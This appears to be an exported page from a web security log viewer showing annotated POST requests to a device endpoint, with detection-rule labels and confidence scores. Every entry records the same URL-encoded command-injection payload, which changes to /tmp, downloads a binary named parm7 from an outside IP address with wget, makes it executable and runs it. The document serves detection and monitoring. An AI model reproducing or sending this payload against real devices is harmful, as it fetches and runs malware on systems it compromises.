subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#35 2025-03-29 02:58:25 event 4342670 POST 301 bytes 169

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#36 2025-03-29 02:58:25 event 4342670 POST 301 bytes 169

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#37 2025-03-29 02:58:25 event 4342670 POST 301 bytes 169

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#38 2025-03-29 02:58:25 event 4342669 POST 301 bytes 169

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#39 2025-03-29 02:58:25 event 4342669 POST 301 bytes 169

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#40 2025-03-29 02:58:25 event 4342669 POST 301 bytes 169

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#41 2025-03-29 02:58:25 event 4342670 POST 301 bytes 169

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#42 2025-03-29 02:58:25 event 4342669 POST 301 bytes 169

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#43 2025-03-28 04:02:41 event 4236700 POST 301 bytes 169

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%2'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%2'

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#44 2025-03-28 04:02:41 event 4236700 POST 301 bytes 169

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#45 2025-03-28 04:02:41 event 4236700 POST 301 bytes 169

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#46 2025-03-28 04:02:41 event 4236700 POST 301 bytes 169

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#47 2025-03-28 04:02:41 event 4236700 POST 301 bytes 169

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

Log Explorer

Annotated access events

Confirm Action